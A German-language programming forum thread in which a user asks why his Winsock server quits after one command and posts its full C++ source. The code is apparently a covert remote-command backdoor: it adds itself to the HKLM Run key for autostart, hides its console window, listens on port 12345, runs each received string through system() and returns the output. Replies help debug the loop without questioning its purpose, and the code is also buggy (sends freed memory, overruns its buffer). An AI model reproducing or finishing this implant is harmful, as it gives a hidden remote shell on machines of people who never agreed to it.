Winsock frage
-
Hallo ich habe ein kleines client server programm geschrieben, der server empfängt befehle vom clienten und für diese aus, nur hab ich das problem, das sich der server schließt nachdem er 1 befehl abgearbeitet hat, ich möchte aber mehrere befehle wie nur einen vom server ausführen lassen, hier mal ein codeschnipsel vom server:
// transfer data while(rc!=SOCKET_ERROR) { rc=recv(connectedSocket,buf,256,0); if(rc==0) { printf("Server hat die Verbindung getrennt..\n"); break; } if(rc==SOCKET_ERROR) { printf("Fehler: recv, fehler code: %d\n",WSAGetLastError()); break; } //terminate string buf[rc+9]='\0'; //paste in file buf[rc]='>'; buf[rc+1]='c'; buf[rc+2]=':'; buf[rc+3]='\\'; buf[rc+4]='a'; buf[rc+5]='.'; buf[rc+6]='t'; buf[rc+7]='x'; buf[rc+8]='t'; //run this on system system(buf); FILE * pFile; long lSize; char * buffer; pFile = fopen ( "c:\\a.txt" , "rb" ); if (pFile==NULL) exit (1); // obtain file size fseek (pFile , 0 , SEEK_END); lSize = ftell (pFile); rewind (pFile); // allocate memory to contain the whole file buffer = (char*) malloc (lSize); if (buffer == NULL) exit (2); // copy the file into the buffer fread (buffer,1,lSize,pFile); /*** the whole file is loaded in the buffer ***/ // terminate fclose (pFile); free (buffer); rc=send(connectedSocket,buffer,strlen(buffer),0); } //close the winsockcrap closesocket(acceptSocket); closesocket(connectedSocket); } int startWinsock(void) { WSADATA wsa; //goto runit; //dont compile return WSAStartup(MAKEWORD(2,0),&wsa); }
-
kann mir denn hier keiner helfen ?
-
Da Du mit asynchronen Sockets arbeitest (wie es aussieht), werden Funktionen wie send oder recv den Return-Wert WSAWOULDBLOCK liefern. Dieser signaliert aber eigentlich keinen Fehler, sondern zeigt lediglich an, dass diese Funktion das Programm potentiell blockiert. Dieses Flag musst Du also noch bei Deiner Fehlerprüfung ausschließen.
-
kannste mir evtl. n kleines bsp zeigen, weiß jetz nich so genau wie du das meinst, soll ich sc auf WSACOULDBLOCK prüfen(true) und das in nen header von ner while schleife packen ?
-
Hm hab leider kein Beispielcode... also in der Variable rc wird IMMER SOCKET_ERROR stehen.
-
was kann ich denn in den whileschleifenkopf reinschreiben damit das prog mich nich gleich wieder rausschmeinst und ich mehrere befehle ausführen kann ???
die whileschleiße ist ja, ausslaggebend:
while(rc!=SOCKET_ERROR) { rc=recv(connectedSocket,buf,256,0); if(rc==0) { printf("Server hat die Verbindung getrennt..\n"); break; . . .while(???) <--- wat muss da drin stehn ?
-
@peterr: Springt beim Code oben dann dein "Server hat die Verbindung getrennt.." an oder wie?
Ansonsten: Bei recv() aufpassen

MSDN schrieb:
calling recv will return as much data as is currently available—up to the size of the buffer specified.
Heisst: Mit einem recv() kommen nicht zwingend immer 256-Blöcke wie vermutlich gewünscht an!
Microsoft macht das so:
http://msdn2.microsoft.com/en-us/library/ms740146.aspx@CodeFinder: Ich scheine gerade verwirrt zu sein, woran erkennst du das er non-blocking sockets hat? Hab ich was überlesen oder so? *confused*
-
ich klatsch euch am besten mal den ganzen code rein:
#include <windows.h> #include <winsock.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define NUM_ELEMENTS(x) (sizeof((x)) / sizeof((x)[0])) //needed for ip dedect int startWinsock(void); int main() { long rc; SOCKET acceptSocket; SOCKET connectedSocket; SOCKADDR_IN addr; char buf[256]; char buf2[300]; //runit: //dont compile //Run programm on system startup HKEY hkey; HKEY KEY = HKEY_LOCAL_MACHINE; char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"}; char name[100]= {"Autostart"}; char value[100]= {"C:\\Programme\\n32s.exe"}; RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey); RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value)); RegCloseKey(hkey); //dedect own ip struct hostent* h; WSADATA wsaData; UCHAR ucAddress[4]; CHAR szAddressInfo[64]; CHAR szHostName[MAX_PATH]; WSAStartup(MAKEWORD(1, 1), &wsaData); if(SOCKET_ERROR != gethostname(szHostName, NUM_ELEMENTS(szHostName))) { if(NULL != (h = gethostbyname(szHostName))) { for(unsigned x = 0; (h->h_addr_list[x]); x++) { ucAddress[0] = h->h_addr_list[x][0]; ucAddress[1] = h->h_addr_list[x][1]; ucAddress[2] = h->h_addr_list[x][2]; ucAddress[3] = h->h_addr_list[x][3]; } } } WSACleanup(); //Starting winsock rc = startWinsock(); //hide the server HWND hwnd = FindWindow("ConsoleWindowClass",NULL); ShowWindow(hwnd,SW_HIDE); //winsock shit printf("Norb32 Server © CC_IP 2006\n"); if(rc!=0) { printf("\nFehler: startwinsock, fehler code: %d\n",rc); return 1; } else { printf("\nWinsock gestartet!\n"); } acceptSocket=socket(AF_INET,SOCK_STREAM,0); if(acceptSocket==INVALID_SOCKET) { printf("\nFehler: Der socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError()); return 1; } else { printf("\nSocket erstellt!\n"); } memset(&addr,0,sizeof(SOCKADDR_IN)); addr.sin_family=AF_INET; addr.sin_port=htons(12345); addr.sin_addr.s_addr=inet_addr(szAddressInfo); rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN)); if(rc==SOCKET_ERROR) { printf("\nFehler: bind gescheitert, fehler code: %d\n",WSAGetLastError()); } else { printf("\nSocket an Port 12345 gebunden\n"); } rc=listen(acceptSocket,10); if(rc==SOCKET_ERROR) { printf("\nFehler: listen, fehler code: %d",WSAGetLastError()); } else { printf("\nacceptSocket ist im Listen Modus warte auf Verbindung...\n"); } connectedSocket=accept(acceptSocket,NULL,NULL); if(connectedSocket==INVALID_SOCKET) { printf("Fehler: accept, fehler code: %d\n", WSAGetLastError()); } else { printf("Neue Verbindung wurde akzeptiert!\n"); } // transfer data while(rc!=SOCKET_ERROR) { rc=recv(connectedSocket,buf,256,0); if(rc==0) { printf("Server hat die Verbindung getrennt..\n"); break; } if(rc==SOCKET_ERROR) { printf("Fehler: recv, fehler code: %d\n",WSAGetLastError()); break; } //terminate string buf[rc+9]='\0'; //paste in file buf[rc]='>'; buf[rc+1]='c'; buf[rc+2]=':'; buf[rc+3]='\\'; buf[rc+4]='a'; buf[rc+5]='.'; buf[rc+6]='t'; buf[rc+7]='x'; buf[rc+8]='t'; //run this on system system(buf); FILE * pFile; long lSize; char * buffer; pFile = fopen ( "c:\\a.txt" , "rb" ); if (pFile==NULL) exit (1); // obtain file size fseek (pFile , 0 , SEEK_END); lSize = ftell (pFile); rewind (pFile); // allocate memory to contain the whole file buffer = (char*) malloc (lSize); if (buffer == NULL) exit (2); // copy the file into the buffer fread (buffer,1,lSize,pFile); /*** the whole file is loaded in the buffer ***/ // terminate fclose (pFile); free (buffer); rc=send(connectedSocket,buffer,strlen(buffer),0); } //close the winsockcrap closesocket(acceptSocket); closesocket(connectedSocket); } int startWinsock(void) { WSADATA wsa; //goto runit; //dont compile return WSAStartup(MAKEWORD(2,0),&wsa); } // Developed by CC_IP powered by www.excluded.org // i know this serverprogramm is easily exploitable...so das mal der server source.
-
geeky schrieb:
@CodeFinder: Ich scheine gerade verwirrt zu sein, woran erkennst du das er non-blocking sockets hat? Hab ich was überlesen oder so? *confused*
Ne hast Recht, hab einfach mal (ganz dreißt
) wegen dem WSAStartup (kp, warum ^^) auf ein WSAAsyncSelect geschlossen, aber in seinem letzten Posting sieht mans ja, dass es keine Non-Blocking-Sockets sind
. Sry, my fault
!Also, @peterr: Vergiss was ich hier geschrieben habe, ist hier nicht zutreffend
, Sry!
-
hmm, jo, hab mir schon gedacht wie jetz asynchron, hab ich ja eigentl nix drinne, aber wie gesagt ich hatte dich au ned richtig verstanden, was du gemeint hast, drum die frage. Bleibt jetz nur noch die frage wie ich mein prob löschen kann ^^
-
ehm ich meinte natürlich wie ich mein prob lösen nich löschen kann

-
Wo steigt der Server denn aus? bzw. was gibt er so aus?
-
sobald ich ihm vom client einen befehl schicke (den er in system() ausführt) wird der befehl ausgeführt und der server schließt sich ohne meldung... einen 2. befehl kann ich ihm nicht schicken, da er sich sofort nach dem ausführen des ersten befehls den er bekommt, sich schließt.
-
kannst du den server nicht einfach debuggen und nachschauen was er NACH dem system() aufruf macht ?
desweiteren kann ich nur raten ein paar kontrollausschrifften zu machen ala printf("Methode/Schleife X rein") printf("Methode/Schleife X raus")EDIT: kann es sein das dein Client closesocket() nach der übertragung ausführt oder gar beendet wird ?
recv() gibt bei erfolgreich geschlossener Socketverbindung (egal ob client oder server das macht) 0 zurück!EDIT-buttondrückenisssogeil^^: du hastb deinen Code doch so schnön kommentiert, gib deine kommentare doch einfach via printf() aus
und vergiss das system(pause) am ende deiner main nicht bevor du das programm beendest